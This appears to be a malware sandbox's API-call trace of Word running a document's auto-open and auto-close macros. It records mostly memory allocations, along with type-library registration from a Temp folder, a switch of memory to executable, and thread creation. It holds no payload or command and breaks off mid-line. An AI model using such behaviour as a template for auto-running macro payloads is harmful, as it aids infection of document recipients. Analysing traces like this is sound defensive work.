IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db1e0 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dafe0 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db2c0 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db720 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db500 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db680 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db520 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db1c0 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db740 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db0e0 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db000 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db660 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db320 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db100 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db5c0 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db6e0 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db420 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db2e0 [0115.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db340 [0115.717] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db340) returned 0x18 [0115.718] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db360 [0115.718] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db360) returned 0x18 [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db000) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db4e0) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dafc0) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db2c0) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db120) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db440) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db720) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db0a0) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db1e0) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db520) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db2e0) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db500) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dafe0) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db1c0) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db680) [0115.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db740) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db0e0) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db660) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db6e0) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db420) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db320) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db100) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db5c0) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b511200) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822db0) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1780) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1a20) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b823430) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f15d0) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822d70) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1630) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f15a0) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db300) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8234b0) [0115.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822e30) [0115.723] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50bcb0 [0115.723] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db2c0 [0115.723] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db000 [0115.723] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09620 [0115.723] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09620) returned 0x8 [0115.724] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db2c0) [0115.724] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db000) [0115.724] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50bcb0) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645198440) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0af0) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0880) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0df0) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f12d0) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1240) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0910) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0a60) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822bf0) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0b80) [0115.731] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0bb0) [0116.521] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x7ff9e8160000 [0116.522] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001b3) returned 1 [0116.523] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="RegisterTypeLibForUser") returned 0x7ff9e8195640 [0116.523] RegisterTypeLibForUser (ptlib=0x2764b866080, szFullPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd", szHelpDir=0x0) returned 0x0 [0116.534] IUnknown:Release (This=0x2764b866080) returned 0x22 [0116.535] LoadTypeLib (in: szFile="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd", pptlib=0xb5690f62b8*=0x0 | out: pptlib=0xb5690f62b8*=0x2764b868440) returned 0x0 [0116.537] IUnknown:QueryInterface (in: This=0x2764b868440, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6198 | out: ppvObject=0xb5690f6198*=0x0) returned 0x80004002 [0116.537] ITypeLib:RemoteGetLibAttr (in: This=0x2764b868440, ppTLibAttr=0xb5690f6190, pDummy=0xb5690f6198 | out: ppTLibAttr=0xb5690f6190, pDummy=0xb5690f6198*=0x0) returned 0x0 [0116.537] ITypeLib:RemoteGetDocumentation (in: This=0x2764b868440, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f6188, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000 | out: pBstrName=0xb5690f6188*="MSExchange 1.0 Type Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000) returned 0x0 [0116.537] StringFromGUID2 (in: rguid=0x2764b7f1a80*(Data1=0xa580e994, Data2=0xf662, Data3=0x4b2a, Data4=([0]=0x96, [1]=0x28, [2]=0x59, [3]=0x4b, [4]=0xc, [5]=0x8b, [6]=0xbe, [7]=0xf2)), lpsz=0xb5690f61b0, cchMax=39 | out: lpsz="{A580E994-F662-4B2A-9628-594B0C8BBEF2}") returned 39 [0116.537] _ultow_s (in: _Value=0x1, _Buffer=0xb5690f60fa, _BufferCount=0x10, _Radix=16 | out: _Buffer="1") returned 0x0 [0116.538] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f60fe, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0116.538] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f6102, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0116.538] wcscpy_s (in: _Destination=0x276454899c8, _SizeInWords=0x89, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0116.538] wcscpy_s (in: _Destination=0x276454899ce, _SizeInWords=0x86, _Source="{A580E994-F662-4B2A-9628-594B0C8BBEF2}" | out: _Destination="{A580E994-F662-4B2A-9628-594B0C8BBEF2}") returned 0x0 [0116.538] wcscpy_s (in: _Destination=0x27645489a1a, _SizeInWords=0x60, _Source="#1.0#0#" | out: _Destination="#1.0#0#") returned 0x0 [0116.538] wcscpy_s (in: _Destination=0x27645489a28, _SizeInWords=0x59, _Source="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd") returned 0x0 [0116.538] wcscpy_s (in: _Destination=0x27645489aa2, _SizeInWords=0x1c, _Source="MSExchange 1.0 Type Library" | out: _Destination="MSExchange 1.0 Type Library") returned 0x0 [0116.538] ITypeLib:LocalReleaseTLibAttr (This=0x2764b868440) returned 0x0 [0116.538] wcscpy_s (in: _Destination=0x2764b24a718, _SizeInWords=0x89, _Source="*\\G{A580E994-F662-4B2A-9628-594B0C8BBEF2}#1.0#0#C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd#MSExchange 1.0 Type Library" | out: _Destination="*\\G{A580E994-F662-4B2A-9628-594B0C8BBEF2}#1.0#0#C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd#MSExchange 1.0 Type Library") returned 0x0 [0116.538] ITypeLib:RemoteGetLibAttr (in: This=0x2764b868440, ppTLibAttr=0xb5690f6168, pDummy=0x0 | out: ppTLibAttr=0xb5690f6168, pDummy=0x0) returned 0x0 [0116.538] ITypeLib:RemoteGetDocumentation (in: This=0x2764b868440, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f7820 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f7820) returned 0x0 [0116.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd#MSExchange 1.0 Type Library", cchWideChar=60, lpMultiByteStr=0xb5690f61f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exdv\x02", lpUsedDefaultChar=0x0) returned 60 [0116.538] strcpy_s (in: _Dst=0x2764ba568a8, _DstSize=0x3d, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd") returned 0x0 [0116.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MSExchangeLib", cchWideChar=14, lpMultiByteStr=0xb5690f6300, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSExchangeLib", lpUsedDefaultChar=0x0) returned 14 [0116.538] IUnknown:AddRef (This=0x2764b868440) returned 0x3 [0116.538] ITypeLib:LocalReleaseTLibAttr (This=0x2764b868440) returned 0x0 [0116.538] IUnknown:Release (This=0x2764b868440) returned 0x2 [0116.538] IUnknown:Release (This=0x2764b6d0970) returned 0x2 [0116.539] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1e70 [0116.539] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1ea0 [0116.539] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1690 [0116.539] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1ed0 [0116.539] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db160 [0116.539] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x27645570570 [0116.539] strcpy_s (in: _Dst=0x2764ba56938, _DstSize=0x9, _Src="autoopen" | out: _Dst="autoopen") returned 0x0 [0116.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb99d70 [0116.540] GetCurrentProcess () returned 0xffffffffffffffff [0116.540] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb99d70, dwSize=0x3d) returned 1 [0116.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x27645570d90 [0116.540] strcpy_s (in: _Dst=0x2764ba56950, _DstSize=0xa, _Src="autoclose" | out: _Dst="autoclose") returned 0x0 [0116.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb97070 [0116.540] GetCurrentProcess () returned 0xffffffffffffffff [0116.540] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb97070, dwSize=0x3d) returned 1 [0116.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2764b9db5c0 [0116.540] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b9db5c0, cb=0x34) returned 0x2764b824670 [0116.540] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b73d6a0 [0116.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba55c10 [0116.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa5ee0 [0116.540] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764afa5ee0) returned 0x80 [0116.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db680 [0116.540] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="autoopen") returned 0x402ad9 [0116.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db180 [0116.541] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="autoclose") returned 0x40d6a4 [0116.541] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="autoopen", cchCount1=-1, lpString2="autoopen", cchCount2=-1) returned 2 [0116.541] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2764b78c370 [0116.541] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b78c370) returned 0x58 [0116.541] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db420 [0116.541] free (_Block=0x0) [0116.541] free (_Block=0x0) [0116.541] free (_Block=0x0) [0116.541] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db6e0 [0116.541] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2764b78c250 [0116.541] GetCurrentProcess () returned 0xffffffffffffffff [0116.541] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a918, dwSize=0x8) returned 1 [0116.541] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db1a0 [0116.541] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2764b78c2b0 [0116.541] GetCurrentProcess () returned 0xffffffffffffffff [0116.541] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a9d0, dwSize=0x8) returned 1 [0116.541] GetCurrentProcess () returned 0xffffffffffffffff [0116.541] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a918, dwSize=0x8) returned 1 [0116.541] GetCurrentProcess () returned 0xffffffffffffffff [0116.542] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a9d0, dwSize=0x8) returned 1 [0116.542] free (_Block=0x0) [0116.542] free (_Block=0x0) [0116.542] free (_Block=0x0) [0116.542] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db420 [0116.542] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0116.542] GetCurrentProcess () returned 0xffffffffffffffff [0116.542] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a964, dwSize=0x3d) returned 1 [0116.542] VirtualProtect (in: lpAddress=0x2764b66a964, dwSize=0x40, flNewProtect=0x40, lpflOldProtect=0xb5690f5eac | out: lpflOldProtect=0xb5690f5eac*=0x4) returned 1 [0116.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x27645570de0 [0116.544] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0xb5690f66f0 | out: phkResult=0xb5690f66f0*=0x131c) returned 0x0 [0116.544] RegQueryValueExA (in: hKey=0x131c, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0xb5690f66e8, lpcbData=0xb5690f66e0*=0x4 | out: lpType=0x0, lpData=0xb5690f66e8*=0x76, lpcbData=0xb5690f66e0*=0x4) returned 0x2 [0116.544] RegCloseKey (hKey=0x131c) returned 0x0 [0116.544] DispCallFunc (pvInstance=0x0, oVft=0x2764b66a96c, cc=0x4, vtReturn=0x0, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0xb5690f6910) [0116.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x7ff9bde221e0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0xb5690f63d0 | out: lpThreadId=0xb5690f63d0*=0x690) returned 0x131c [0116.546] PeekMessageA (in: lpMsg=0xb5690f6370, hWnd=0x30312, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0xb5690f6370) returned 0 [0116.554] GetActiveWindow () returned 0x10320 [0116.556] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb09710 [0116.556] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f5b80 | out: ppvObject=0xb5690f5b80*=0x0) returned 0x80004002 [0116.556] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f5ac8 | out: ppvObject=0xb5690f5ac8*=0x2764af387c8) returned 0x0 [0116.556] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f5ad8 | out: pVarVal=0xb5690f5ad8*(varType=0x0, wReserved1=0x690f, wReserved2=0xb5, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0116.556] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0116.556] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f5ad0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f5af0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f5af0*="幀椏µ") returned 0x0 [0116.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f59e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0116.556] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0116.556] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f5ad0, pDummy=0x0 | out: ppTypeAttr=0xb5690f5ad0, pDummy=0x0) returned 0x0 [0116.556] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0116.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x0, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.556] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.557] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x10, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x11, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x12, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x13, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x14, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x15, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x16, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: 